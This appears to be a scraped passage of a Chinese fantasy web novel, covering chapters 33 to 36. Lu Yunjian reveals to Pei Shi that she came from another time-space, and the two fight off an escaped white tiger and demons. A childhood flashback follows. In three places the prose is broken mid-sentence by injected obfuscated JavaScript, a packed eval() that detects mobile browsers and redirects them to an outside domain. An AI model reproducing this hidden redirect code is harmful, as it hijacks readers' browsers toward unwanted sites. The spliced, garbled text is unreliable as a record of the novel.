季衡是出了名的“别人家的孩子”,不怎么和他们玩这种幼稚的游戏,总是一心扑在学习上,成绩好性格好长得也好,在学校很招女孩子喜欢,但他可能姻缘寡薄,陆云笺和季瑶有时候想撮合他和哪个女孩子,总是以失败告终。 季瑶和季衡一样,也是温温柔柔的性子,也特别招人喜欢,但她谁也瞧不上,她说:“他们长得还没我哥好看,更没有云笺一半好,我才不要理他们。” 季瑶编各种小辫子的手法尤其好,因此陆云笺从不用自己去学,坐着享福便好。末了做些季瑶喜欢的糕点,她便会笑逐颜开。 她说:“等我们七老八十了,我还给你编小辫子,你还给我做小点心。” 陆云笺意识不清,下意识轻声应道:“好。”可惜她命短,等不到七老八十。 上方人影浮动,转了好几轮,陆云笺的眼泪也跟着掉了好几轮。她舍不得闭上眼睛,便是知道这不过黄粱一梦,也想沉醉在美梦里,不想一个人走向暗无天日的轮回。 忽地一声稚嫩童音响起,这一句陆云笺听得很清楚真切,她循声抬头望去,看见父亲牵着她的手,正在接她放学回家的路上。 她问父亲:“爸爸,今天老师要我们写一篇作文,主题是名字的含义,那我的名字有什么含义呀?” 父亲牵紧了她的手,他身体不大好,总显得有些虚弱疲惫,但听见她的问题,眉目间却染上了温柔安然的笑意,像是拨开阴霾的暖阳:“‘云笺’啊,就是天上的妈妈留给爸爸的一封信呀。” 像是应了这话一般,陆云笺忽然听到有人唤她的名字。急切、沉重,一开始像是来自遥远天穹,后来慢慢近了,终于连带着那人急促的呼吸声一起听清。 陆云笺的目光茫然地搜索着,最开始没见着人,待意识慢慢回笼,才意识到她正躺在一人怀里,握着她的那只手微微发凉,也在微微发抖。 陆云笺还没看清人,先问了第一句话:“我爹没事吧?妖怪死了吗?”没听到回答,她又问,“季衡,季瑶,贺江年……他们都没事吧?” 那人听不下去了,咬牙道:“他们没事,是你要死了,你能不能长点脑子?” 陆云笺目光上移,终于看清了他的脸。他面色苍白,额角布着细密汗珠,嘴边挂着尚未干涸的血迹。 陆云笺见此情景,猛地弹了一下,像是想鲤鱼打挺坐起来,急道:“裴世,你受伤了……我有药,我找找……” 裴世伸手按住她:“别乱动,你是脑子不清醒吗?” 陆云笺脑子的确不大清醒,甚至还没反应过来眼下是个什么状况。她不清不楚地嘀咕了一阵,忽地瞥见上方悬着的一朵仙草,感叹道:“哇……那是养神芝吗?比图鉴上还好看啊。听说能复活人,真的假的……这么神奇吗?” 裴世忍无可忍:“不能,您老能歇会儿别说话了吗?”他每说一句话都要没好气地堵她一句,陆云笺果然安静了片刻,而后轻声说:“……对不起。” “……” 裴世像是再也忍不了了,忽地把怒气全吐了出来,像个幼稚的孩童一般撒着气:“我给你白梅符,不是叫你这么用的,你能不能别瞎用?陆稷季衡季瑶贺江年,哪个是要你护的了?你自己的小命都保不住,逞什么英雄?就算海妖难杀,也轮不到你来杀。你以为你现在是个什么水平?你下次再这样试试,我一定打断你的腿,扒了你的皮。” 此言一出,陆云笺忽地感到心脏刺痛一瞬,像被一根细小的针狠扎了一下。 若不是这一下,她都要以为戮心蛊真的全然无效了。 陆云笺扯出个笑容,又皱了皱眉,做出毫无诚意的害怕状:“不是……你真想打我啊?” 陆云笺此时神智不清,偏生她又有个一有疼痛就喜欢胡说八道转移注意力的毛病,见气氛略有缓和,正欲再说话,却忽地感到有一滴什么东西滴在了她的脸颊。 她疑心是幻觉,下一刻却听到裴世哽咽嘶哑的声音,极轻极轻,却震得她再也说不出话来。 她听见他说:“陆云笺……你究竟是谁啊。” 这话来得极其突然,含义极其矛盾,陆云笺起先以为是自己听错了或是幻觉,然而反应过来时,头皮却一下子炸开了。 ……原来上方那些现代的景象,不是死前走马灯,而是海妖死前被迫吐出她的魂魄时,和魂魄一起被吐出的记忆啊。 所以裴世从头到尾完完整整清清楚楚地看到了? 强烈的眩晕再度袭来,陆云笺也再度撑过去了,但仍免不了眼前阵阵发虚,大脑一片混沌。她看不清裴世的脸,于是干笑两声,道:“裴世,你都看到了吗?” 陆云笺勉强抬眼去看上方景象,只见模糊扭曲的一片色彩,竟是什么都看不清,什么都不可及。 她忽然生出一阵倦意,道:“就像你所看到的,我不是这个世界的人。我是另一个时空的陆云笺……在那个时空,我已经死了……不知道为什么,魂魄来到了这里……这不是我……我想回家了。” 她忽地觉得眼眶略有些湿润,于是闭上眼睛,轻声喃喃:“我想我爸和我哥了……季瑶,季衡哥,江年……”如此说着,一时放松,就像是做梦一般,竟真的沉沉地昏睡过去。 不知过了多久,再次醒来,见到的是流丹阁的屋顶,上头刷着古朴的红漆,让她有些不知今夕何夕。 陆云笺眼珠转了几转,好容易缓过劲儿来,听到“吱呀”一声,侧过头,恰好和正推门进来的陆明周对上目光。 许久不见,陆云笺初时还以为是自己眼花,待看清了确定了,便挣扎着要坐起来:“哥,爹爹呢?裴世呢?” 陆明周忙让她躺下,道:“你伤得重,已经昏迷了好几日,还是先躺会儿吧。”顿了顿,他继续道,“父亲有要事要处理,晚些会来看你。裴世……他强行破了献祭法阵,也伤得很重,我让他回去好生调养了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047620|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆云笺微微疑惑,蹙眉道:“……强行破了献祭法阵?” 陆明周道:“你应该知道,献祭法阵一旦开始,便无法中断。若要中断,只能强力破开,就像强行进入既定的幻境一样,会受到无法避免的损害。” 虽说不可中断、不可破开、不可进入,但在绝对实力面前,终究不是无法可想。只是强力破开,逆规则而行,也势必要付出代价。 “他先前也多次强行进入既定的幻境,看似无事,内里却损耗得厉害。” 陆云笺不禁想起了那次在马车上,裴世笑着笑着忽然咳血的模样。她心情复杂,有些愣神,半晌才轻声道:“……可是,我以为,是因为海妖被杀死了,献祭法阵才自动停止的。” 陆明周道:“海妖的确已经身死,但并非完全是被叠加在献祭法阵上的攻击阵法杀死的。若是要靠献祭法阵来维持攻击,那海妖身死之时,你的魂魄也早就被吞噬干净了。是裴世强行破开献祭法阵后,季衡、季瑶、贺江年三人合力将海妖杀死的。” 陆明周叹了口气,继续道:“云笺,此法效用虽强,但实在太过凶险,下次你还是要以自身安全为重,莫要再行此法了。” 陆云笺道:“……抱歉,我是看到它好像要对爹爹不利,我一慌,就……而且,我也帮不上什么忙,我真的……不想拖大家的后腿……” 陆明周眸中似有惊异神色一闪而过,但他最后敛去所有情绪,只轻声道:“云笺,父亲他……你不用过多担心,虽不知此番为何遭此变故,但……” 正说着,又听见有人敲门,随即推门而入,正是陆稷。 陆云笺看到父亲,又见他仍如平日一般丝毫没有异样,眼中光彩终于重新亮了起来,欢欢喜喜唤了声:“爹爹!” 陆明周起身道:“父亲。” 陆稷朝二人微一点头,在陆明周为他拉开的椅子上坐下,对陆云笺道:“此番你伤得重,注意好生调养,下次莫要再如此鲁莽行事。” 陆云笺垂了眸,也有些内疚,道:“抱歉,让爹爹担心了。” 陆稷是个冷淡性子,不善言辞,嘱托一番后便无话可说,一时气氛有些尴尬。 陆云笺率先找了个话题:“海妖既然已经身死,那季衡、季瑶、贺江年他们呢?” 陆稷道:“季衡传信与我,已尽数说明情况。为防万一,他们三人仍按原计划前往溟海村。” 陆云笺道:“那等我好了,就和他们一起去吧。” 陆稷却道:“此事不急,你先好生休养。” 如此嘘寒问暖一阵,父女二人便再无话可说,恰巧又有事务报上来,陆稷与陆明周便先行一步去了中孚殿处理。 陆云笺再次躺回榻上,躺了一阵,感到头脑不再那么昏昏沉沉,便下了床,套上衣服,搜罗了些伤药,急匆匆往裴世的住处奔去。 裴世三番五次受伤都是为救她,她心里终究有些放心不下,也终究有些许愧疚。更何况裴世既然已经知晓她的来历,不妨把话彻底说清楚,免得又有些什么不清不楚的牵扯。 裴世住处那道结界仍是没有拦她,陆云笺踏进去,里头白梅仍开得极盛,她却没心思欣赏,径直奔上前去敲门。 敲了好一阵,毫无回应。 ……没人。 而且接下来好几天,陆云笺日日都来,每回都碰上他不在。她倒是很纳闷,这人受了这么重的伤,怎么还一天到晚到处跑,也不回家? 如此错过了几日,这日陆云笺心情好,做了些梅花糕装在食盒里,又去裴世住处碰运气,然而敲了一阵门,仍是毫无回应。 陆云笺叹道:“看来裴世是没福气享用这梅花糕咯。”如此想着,转身欲走,却忽然瞥见一人倚在不远处一株白梅树边,正抱手看她。 白梅开得正正好,皎月如练,衬得人比寒梅更冷三分。 34. 非故人 裴世盯了她好一阵,终于放下手,缓缓朝她走来。他神色淡然,步履沉缓,一开口,声音也是淡淡的:“陆云笺?” 语调微微上扬,竟是个问句。 陆云笺在这样的注视下,不由自主后退了半步。 片刻后她反应过来,干笑几声,将食盒放在院中石桌上,道:“我来呢,是为了感谢裴公子的救命大恩,但没什么拿得出手的东西,就拿了些伤药,还有……” 她掀开食盒,展示道:“我做的,送给裴公子,聊表谢意。”食盒里头的糕点正是五瓣梅花状,小巧精致,玉雪可爱,清香淡淡。 裴世在石桌旁坐下,看着那盒糕点陷入沉思:“……这是什么意思?” 陆云笺道:“之前我在山下不是买了盒糕点吗,那糕点做得不好,我研究了下,做了盒相似的,但肯定比那盒好吃。”她说的,正是那次下山套圈前买的那盒糕点。 当时拍卖会上,她分给裴世尝了几块,见他表情一言难尽,便知他与自己是“同道中人”——都觉得那糕点色香味俱缺。 陆云笺于这一道非常自信:“这里头放了白梅花的花瓣,吃起来没那么甜,但是会有花香……”说着意识到了不对劲,此时并非白梅开放的季节,白梅终年不谢的地方只有…… 抬眼见裴世一言不发也没什么表情,陆云笺忙摆手道:“你别误会啊,我这花瓣不是从你树上摘的,我是从地上捡的……”说着又意识到了另一种不对劲,忙辩解道:“虽然是从地上捡的,但是我挑的都是干净的,之后也都处理好了……” 她本想活跃下气氛,再谈正事,以免闹得太尴尬,谁知裴世只是垂着眸,什么话也不说,倒显得她活跃气氛之举太过徒劳。 半晌,裴世终于从食盒里拾起了一块糕点,却没下口,而是捏在指尖细看。他道:“妄尘所言你魂魄有异,就是如此?” “……我不知道,”陆云笺很诚实,“我后来也想去问,但一直没找到机会。” 妄尘身为亡魂,却于人间逗留过久,已是十分虚弱,只好匿身于一方小匣之中,由季衡保管。要想与妄尘单独接触,又不让旁人觉察此事,的确没什么机会。 裴世没说话,拿过那糕点轻咬一口,幽幽梅香在嘴里化开,他忽地笑了:“没有人能死而复生,也没有人能穿越时空。从前没有先例,如今也不会有人开这个先河。陆云笺,不要骗人了。” 他因为受伤,原本脸色就苍白,此时月光透过白梅枝条打在他脸上,斑驳破碎,竟似有些凄凉。 陆云笺不知为何心头似乎有些酸楚,有些于心不忍。 但她还是说:“抱歉,裴世,但是既然已经到了这一步,有些话还是说清楚会比较好。 “就像你之前说的,在这个时空之外,还有另一个时空,由时空裂缝相隔。虽然我不知道其中道理,但这应该是最合理的解释。 “另一个时空与这里截然不同,但很奇妙,在那里,我爹还是我爹,我哥还是我哥,季衡、季瑶、贺江年……他们都是我很好的朋友。 “不过我运气不大好,在那边很早就死了,阴差阳错地来到了这里,不知怎么就到了这个时空的陆云笺身体里。但是我一点也不了解这个世界,我所知的一切,只关于另一个时空。而我,本不该来到这个世界。 “我不是这个世界的陆云笺。” 裴世忽地感到有什么东西死了。死得很彻底,跌到谷底冷透了,再也别想有一点生机。 即便是失忆,陆云笺醒来后的行为也多有不对劲,他不是没想过这其中有什么问题。 更何况是他亲手杀了她。 更何况他遍访仙门民间,最清楚人死不能复生。 他想过很多可能,独独没想过这前无古人后无来者的一点,又或者这个念头曾有一瞬冒出来过,但很及时地被恐惧与难以置信压下去了。 他最恨陆云笺骗他,可他此刻却忽地生出了些可笑的希望…… 这一回,要是陆云笺在骗他,那就好了。 裴世闭上眼睛,声音微有些发抖:“所以你从一开始就认识季衡季瑶贺江年。”他缓缓睁开眼,感觉喉间有血气涌上,强行压下,手背青筋微突,眼眶也微微发红,“那我呢?你有没有见过我?” 陆云笺便沉默了。 原本答案很简单,就两个字:没有。 但她拐弯抹角,半晌才轻声说:“或许是见过的,但没准是我记性不好,不记得了。” 这一句之后便是长久的死寂,久到陆云笺感到有些窒息,终于再度开口:“抱歉,我会尽我所能,让这个时空的陆云笺回来。” 而与此同时响起的,是裴世不堪一击的死倔着的声音:“我不信,我也绝不会就此妥协。” 两个声音重合在一起,教人辨不分明。 一个说“尽我所能”,承诺的却是第一大门派搜遍天下多少奇法都没能做到的事。 一个说“绝不妥协”,直面的却是命运既定之事。 也不知这么几句,在命数之前,能有多少分量。 这两句话掷在地上,一瞬便摔碎了,下一刻便被四起风沙所掩埋。四周忽起狂风,天昏地暗,飞沙走石迷人眼,忽然间什么都看不清。 裴世的脸色仍然很不好看,却仍在风沙起时下意识起身,一把将陆云笺拉至身后。他一开口,急火攻心之下,上涌的血气便再也压不住,他咳了两声,将嘴边血迹擦去,哑声道:“有东西来了。” 陆云笺将各式符纸攥在手上,道:“什么东西,能打破你这里的结界,还能在云间世作乱?” 无需回答,因为下一刻,风沙散去,四周重新亮了起来,那东西来到了她眼前。通体银白,泛着银光,尾端带有黑色环纹,身躯庞大强健,几乎遮天蔽日,声如雷霆,爪似疾风,所过之处,草木虫兽,灰飞烟灭,无一幸免。 神兽白虎? 陆云笺一怔。 云间世有白虎,那是不是意味着,拍卖会上那白虎残魂,正是云间世买下的?难怪那人出手不凡,又难怪觉得那人有几分熟悉,那分明是…… 陆明周啊。 未及细想,那白虎魂魄咆哮怒吼,从二人头顶一跃而过。 千钧一发之际,裴世抓过被震飞的一块碎石,那碎石尖锐,划破他的手掌,鲜血纵横,他以鲜血为基,以掌击地,金光猛地炸开,顷刻间升起一道金色结界! 全靠这结界抵挡,二人才没像先前那些草木虫兽一样尸骨无存。 只是这结界起得匆忙,被白虎踩了一脚便彻底破碎。然而虽是起得匆忙,但终究耗费了大量灵力,被一脚踏碎,足见白虎力量何其巨大,若要正面交起手来,恐怕也够呛。 裴世敛去所有情绪,尽量使自己看起来与从前别无二致,半侧过头道:“陆小姐现在可知熟人是谁了么?” “……”陆云笺垂了头,看向白虎的去处,白虎早不见了踪影,四周又恢复寂静。 不知云间世修复白虎残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054232|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂,到底付出了多大的代价,更不知道,付出如此代价,云间世到底是为了什么。 她转过头,道:“现在怎么办?去找……去找我哥吗?”可一看四周,哪里还是裴世的住处?周遭荒草丛生,天空灰蒙蒙一片,不知是到了云间世哪个角落旮沓。 裴世却像是毫不意外:“白虎从云间世出逃,力量巨大,所过之处的空间会遭到一定程度的扭曲。” “出逃?” 裴世道:“云间世修复白虎魂魄,必是要为己所用。估计一时没关牢,让它跑出来了。” 陆云笺道:“那白虎要是跑到山下去,会不会伤害到普通老百姓们?” 裴世看她一眼,道:“云间世的结界应当不会如此废物。”他顿了一下,指尖金光亮起,“而且,比起白虎,现下有别的东西更需要我们应付。” 陆云笺抬眼望去,见前方黑压压的一片东西,正朝他们涌来。说是“东西”,因为那并不是人。 黑压压一片妖魔鬼怪,各式各样,种类丰富,应有尽有,浩浩荡荡,气势汹汹。白虎弄塌了云间世几处镇压妖魔鬼怪的高塔,那些东西被封印在塔下几十几百年不等,聚在一处,如弥天黑雾一般,朝二人压来! 裴世衣袍猎猎翻飞,手中归云长剑金光流溢,他侧过头,对陆云笺道:“退后。” 陆云笺依言闪到一旁。 她的破月与惟霜虽也是极强的法器,但苦在她不大会用,发挥不出多少效力,便只能用符咒打,打退多少是多少。边打边用通讯符联系陆明周,但或许是空间扭曲的缘故,通讯符全然无效。 这些妖魔鬼怪远胜之前在幻境中所见的东西,个个实心,有的还很难打,然而裴世虽不像上回那样一斩一大片,但持剑其中,倒也游刃有余。 陆云笺用完了身上的符咒,正四下观察有没有什么突破口,忽见四周有金光亮了一瞬。虽只有一瞬,且隔得远,但那金光极盛,几乎一瞬间将四周映得亮如白昼,令人忽视不得。 陆云笺正疑惑,忽然听见不远处有什么东西穿过血肉的声音。那声音与归云长剑穿过妖魔的声音有所不同,更像是…… 陆云笺循声望去。 有东西的利爪穿透了裴世的肩膀,恰恰在之前被树妖贯穿的地方。 陆云笺终于在现实之中看清了鬼魈。如图鉴中描述的一般,身躯高大逾丈,人面兽身,周身被长毛覆盖,独足反踵,长臂利爪,强壮非常。 可裴世,怎会被鬼魈所伤? 裴世被那一爪穿透,摔在地上,竟是起不得身。他右手所持的归云长剑的光芒黯淡许多,再看左手,从手腕往下,整个手掌竟变成了森森白骨,流逸出金色光芒。 他勉强抬手刺了鬼魈一剑,刺中它腹部,力度却不够,并没有造成多大伤害。 陆云笺大脑一片空白,情急之下忽地想起,之前为试探裴世,陆明周曾给过她一段银丝,说那段银丝连着云间世的结界,若有危险,将其扯断,结界便会启动。 那段银丝,还好好地悬在她手腕上。 来不及多想,陆云笺一把将其扯断,那亮得刺眼的金光再度亮起,这一次,没有消失,反而愈来愈盛。 然而,妖魔没有退散。 鬼魈猛地把利爪从裴世肩膀中抽回,掐住他脖颈,另一爪正欲再击,裴世却勉力抬手,猛地将它擒住自己脖颈的那只手臂自肩膀处齐齐削去! 鬼魈吃痛怒吼,另一掌落下,猛地将裴世掀飞了出去! 35. 苦为甘 裴世重重摔在陆云笺身旁,猛地咳出一大口血,陆云笺立马扶住他:“裴世!” 裴世整条左臂都已白骨化,苍白脖颈留下鬼魈的爪印,鬼魈五指陷入他的皮肉,留下几个狰狞的血窟窿。他灵力受损,连归云都召不动了。 此时距树妖之事也已过去了一段时日,裴世的自愈能力一向很强,陆云笺本以为树妖留下的伤已经好得差不多了,此时看见,才终于知道那狰狞伤口虽已渐渐愈合,但分明还未痊愈,如今又被鬼魈穿了个窟窿,新旧伤重叠,血流不止。 他伤口处仍有金光逸散,如今却再没心思去封住那伤口。 裴世脸色惨白,缓了口气,道:“有东西在压制我的法力。”他右手涌上几分力气,抬手抓了陆云笺便丢出去,“跑!”紧接着右掌重新涌起金光,就要上去迎击鬼魈。 陆云笺头痛欲裂,飞出去那刻,身体仿佛被另一个魂灵操控,几乎是下意识地召出破月,在左手手掌重重划了一道。 刹那间,鲜血喷涌而出,刺眼的紫色光芒亮起,待光芒渐渐熄灭,隐在刺眼光芒下的银色妖狼身形却渐渐清晰。 妖狼通体银白,额前一道紫色弯月,踏着骤风降临,而后长啸一声,携着疾风而上,一脚踏得鬼魈筋骨尽断! 裴世一怔,回头去望陆云笺。 陆云笺蹙着眉,沿着一块巨石滑下去,没了意识。 那妖狼身形如利箭,携着疾风,飞踏撕咬,将剩下的妖魔鬼怪撕了个干净。 裴世灭了右手金光,扶了陆云笺靠在一旁,看着那妖狼,神情虽平淡依旧,眸中却隐约带上了些许激动欣喜,但那欣喜只有一瞬,转眼便黯淡下去。 妖狼撕尽了妖魔,立在原地,回头望了陆云笺一眼,便如烟雾一般消散不见。 妖魔死尽了,扭曲的空间却仍然没有恢复。 裴世靠在一块岩石旁,望着像是远在天边的刺眼金光。他左半边身体的白骨化仍在蔓延,几乎快到左肩,他没用药,只用灵力与白骨化抗衡着。 不知过了多久,那金光终于陡然消失,裴世放下手,不再输送灵力。白骨化终于停止,他的血肉又一寸一寸地回来,有点痒,又好像毫无所感,他的左臂似乎已经麻木了。 他靠着岩石望了会儿天,有些昏昏沉沉,却不敢睡过去,于是从袖中拿出几样事物。并不是药,是他参加拍卖会时顺手买的卷轴图纸,上面记录了许多阵法剑法修炼法门。 图纸染上了血,有些文字图案便看不大清,他抓着那图纸,忽然笑了起来。 一只手忽然抓住了他的衣摆。 裴世没晕,陆云笺倒是昏迷了好一会儿,此时醒来,仍是迷迷糊糊的,她抓着裴世的衣摆,道:“裴世……你还好吗?” 裴世垂了眸,示意她的左手:“你还是关心自己吧。” 陆云笺看了一眼,那手已经被包扎好了,估计用的是上等的药品,所以并没有她想象中那么痛。她看了眼裴世的肩膀,道:“你怎么不用药?” 裴世没说话。他不习惯带太多药在身上,身上仅有的都用给了陆云笺,余下的量已经完全不够用在他身上任何一处伤了。 陆云笺瞧出了他的心思,叹气道:“唉,我把药用光了。”说着便去身上找药,摸了半天才想起来她先前把药都给裴世了,放在石桌上,谁都没拿。 她又叹了口气,自言自语道:“头好痛啊。”熟悉的眩晕感与模糊痛感再一度袭来,陆云笺都有些习惯了,只是左手被划出的那道口子的痛感强迫她清醒着,因此虽迷迷糊糊,却还有意识。 裴世道:“你发烧了,别说话。” 陆云笺眯着眼:“发烧了?”一摸额头,又连忙把手撤了,“好烫啊。” 她一发烧一迷糊就胡言乱语,一痛就喜欢说很多话,因此醒来之后嘴就没停过,时而迷迷糊糊不知在嘀咕什么,时而一惊一乍大喊大叫。 这头陆云笺十分活跃,那头裴世像死人一样沉默着,非必要时候一言不发。 陆云笺脑子不清不楚,一时忘了之前两人闹得不大愉快的情形,静了片刻,又伸手去拽裴世衣摆:“哎,裴世,咱俩现在,也算是同生共死的好兄弟了啊。” 裴世看她一眼,不知说的是第几遍:“你脑子不清醒,别说话了。” 陆云笺笑笑,又躺了回去,嘀咕道:“我想我爸和我哥了,我不想待在这儿。好累啊。” 这几句很轻,裴世虽坐在她旁边,但离得不算很近,应当是没有听到的。陆云笺翻了个身,打算浅眯一会儿,等待被扭曲的空间恢复。 谁知裴世静默良久,却是愣头愣脑地轻声问道:“既然这么想,又为何不回去。” 陆云笺闭上眼,轻声笑道:“回不去了啊,说了我在另外一个时空已经死了嘛。”她说得很轻松,却刺得裴世心脏一痛。 陆云笺也不大想继续这个话题,于是晃了晃脑袋,道:“好苦啊,裴世,你有糖没有?我要吐了,给我点糖压一压。” 她原本只是随便找了个话题,裴世这样子,哪像个会随身带着糖的?谁知裴世闻言,坐得离她近了些许,翻手从怀里掏出一只青瓷小瓶。 陆云笺伸手拿过那只小瓶,晃了晃,听到里面似乎有一粒一粒的东西在响,拔开塞子,又眯着一只眼往里看,果然看到了几颗什么东西。 还真是糖。虽然看起来很像药丸。 她倒了一颗放在嘴里,品了一会儿,蹙眉道:“这糖怎么是苦的?”说着就忍不住要把那糖吐出来,裴世像早有预料似的,上前一把捂住她的嘴,也不知使了什么法子,这苦就在嘴里化开,吞也吞不了,吐又吐不得。 那诡异的苦味过了好一阵才消散,随之而来的便是甜,很纯粹的甜,在先前苦的衬托下,更让人觉出了几乎令人眩晕的甜蜜。 裴世估摸着该到甜的时候了,便放了手,陆云笺一等他放手便嚷道:“裴世,你哪儿来的这些奇奇怪怪的糖?怎么是苦的?” 裴世垂眸道:“你做的,‘苦尽甘来’糖。” 陆云笺一怔:“我?” 随即反应过来,弯了弯嘴角,道:“‘苦尽甘来’,的确很符合它的味道。” 裴世没搭话,重新坐了回去,侧过头一动不动地盯着她。陆云笺原本还想无视他的目光,但被他盯了一阵,实在浑身发毛,于是转过头道:“……你一直盯着我做什么?” 裴世收回目光,仰头靠在身后岩石上,故作轻松:“没什么。” 哪里是没什么。 “苦尽甘来”糖上头施了唤醒魂魄的法咒,是他调查多时、近几日四处奔波才研制出的法咒,倾注了他几乎所有的希望,成败在此一举,是他孤注一掷的豪赌。 若是这个法咒也全然无效,那就真的做什么都无济于事了。 他阖目养神,看起来倒是轻松自若,心脏却剧烈跳动着,震得指尖都微微发颤。 陆云笺不大受得了这“苦尽甘来”最先的那阵苦,因此只吃了一颗,就着余味的甜把眩晕感和恶心感都压下去了一点,接着便又是一阵困意袭来。 她原不想睡,但还是渐渐让这困意占了上风,靠着巨石,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而陆云笺在她说到“复习”两个字时便猛地弹了起来,吓得手中木剑都险些掉在地上:“这这这个不急!我……” 还未说完,忽有一中年妇人提着个半大不小的孩子进门来,那孩子捂着脸跌跌撞撞摔进来,一个怒气冲冲,一个泣不成声,显然不是什么好事。 陆云笺转头看过去,眸色瞬间冷了下去。碰巧家门上的锁坏了还没换新,挡不住这么个不速之客。 陆云笺将手中小木剑收进衣袖里,淡淡抬头与那妇人对望,嘴上客客气气地:“王大婶有什么事么?” “什么事?”王大婶看起来像是要气笑了,“你说什么事?!你干的好事!!” 陆云笺闻言,目光慢吞吞地移到一旁歪歪扭扭站着的小男孩儿脸上。他捂着的右半边脸肿得厉害,额前嘴角都挂着血,看起来摔得够惨。 陆云笺当然知道他摔成了什么样,她还知道他摔掉了两颗牙,所以说话都不利索。 小男孩儿退了半步,躲在王大婶身后,眼珠子黏在地上,话说得的确不大利索:“娘……娘,就是她、她。” 陆云笺勉强隐去眸中快要藏不住的戏谑,指自己道:“我?”随即一拍手作恍然大悟状,“是了,我有药,我去拿。” 四处翻找半天,陆云笺带着歉意的笑掏出一张方子:“不好意思啊,没有现成的药了,只有之前大夫开过的一张方子。” 她将微微泛黄的纸张在两人面前抖开,指着上边的几个字,慢条斯理道:“黄连汤,可疗神昏谵语之症。效用非常好。” 36. 风波起 王婶一听这话,登时像被火燎着了一般破口大骂,手脚也不客气了,怒推陆云笺道:“你什么意思?!” 陆云笺到底还是个孩子,身板小,不及王婶一半宽,被她实实在在的一掌推得后退几步,面上神色虽不变,却险些站不稳。 母亲放下手中针线,起身将陆云笺护在身后,温温和和地说道:“令郎摔得有些重,王婶还是先带孩子去看大夫吧,余下的事等令郎的伤包扎好了再说。” 王婶全然不管她温和不温和,恶声道:“净干些缺德恶心人的事,还装无辜,怪不得你男人不要你呢!” 母亲被这话刺得不由自主退了半步,护住陆云笺的手也微微发了抖。陆云笺抬头去望母亲的脸,却只能瞧见黑发掩映下的一线苍白皮肤,与混在黑发中的缕缕银丝交融在一起。 这话她们可太熟悉了。 譬如今日早些时候,陆云笺爬树摘枇杷时,隔着厚厚院墙都能听见这么几句。 院中栽了棵枇杷树,枝繁叶茂,亭亭如盖,一到季节便会结出满树金黄的果子,陆云笺爬树是把好手,蹭蹭上了树,正欲把枇杷都摘下来,拿些去集市上卖。 枇杷树长得比院墙更高,陆云笺爬到上端时,突然和什么人的目光对了个正着。那人显然一开始没发现她,此时骤然对视,大叫一声,从树上滑了下去。 陆云笺倒是并不多意外,母亲栽的枇杷树长得好,每次结果子都会引人觊觎,大人小孩儿都有,不过她也不甚介意,这邻里乡亲的,摘几个果子尝尝,无伤大雅。碰上厚脸皮拖着个麻袋来偷的,若是被发现,自己也会灰溜溜跑走,她便也懒得计较。 陆云笺看着他慌里慌张滚下树,没发表什么意见,只是顺手拽了一枝枇杷,准备扔给他。 那小孩儿落了地,灰头土脸地拍拍衣服,一抬头,陆云笺便瞧清了他的模样。王婶家的小儿子,家中条件是这附近算很不错的,他也被养出了几分骄傲狂妄,平日里最喜欢口无遮拦、没事找事,他估摸着不是真想吃枇杷,而是单纯觉得好玩儿。 陆云笺看见是他,兴致便走了七八分,转身就要从墙上跳回院子里,谁知他却忽然出声喊住了她,大概是觉得在她面前出了丑,非要在嘴上讨回点脸面。 他喊:“喂!没爹的!”他倒是猜得准,这么喊,陆云笺大概率是会回头的。 陆云笺也的确回头看他了。 他笑嘻嘻地,那笑里甚至还有几分可恶的纯真,仿佛他并不知道自己说的话是什么意思,只是与生俱来的天赋本领,三言两语,杀人无形: “你摘枇杷是给你爹吃哪?说起来,我们都很好奇,你娘也有些姿色,你爹怎么就不要她啦?栓子说你娘是叫你爹嫖了,啥都不是,春喜说你爹是摔进粪坑里淹死了,你自己来说说,你爹是怎么啦,你娘又是怎么啦?” 陆云笺微微眯起眼,淡淡地看着他,无甚表情,坐在墙头,像个空心纸人一般随风轻轻摇晃。 他大概觉得很没意思,说了好一阵,有些口干舌燥,于是丢下几句粗话作结,大摇大摆扬长而去。 走出几步,却忽然感觉到有什么坚硬钝重的东西在腰背上猛地一砸,踉跄几步,整个人像是飞出去一般,一个不稳,重重磕在旁边一块巨石之上。 一抹脸,满手血,还有两颗碎掉的牙。他下意识回头去看墙头,哪里还有什么人影,就连枇杷树都只是静静立着,一枝一叶的颤动都没有,仿佛不曾有人来过。 陆云笺的目光从母亲苍白的脖颈转到王婶身上,她在旁人面前的神色一向是淡淡的,时而带着些不真不假的笑以及惯常的礼貌客气,此时再掀眼睫,却是极冷的一片寒潭,凛冽刺骨。 这些话可太熟悉了,躲不掉,逃不开,止不住,封不了。 陆云笺掌中已蓄足了力气,正欲飞身而上,忽有一人不知从哪里走出来,将她们挡在身后:“哎哟王婶,这孩子摔得不轻啊,看大夫了没?怎么都没有包扎的?我家有止血药啦,去我家我给你包也可以啦。”她一边说,一边把已经迈出步子的陆云笺往身后推。 陆云笺抬头看她。 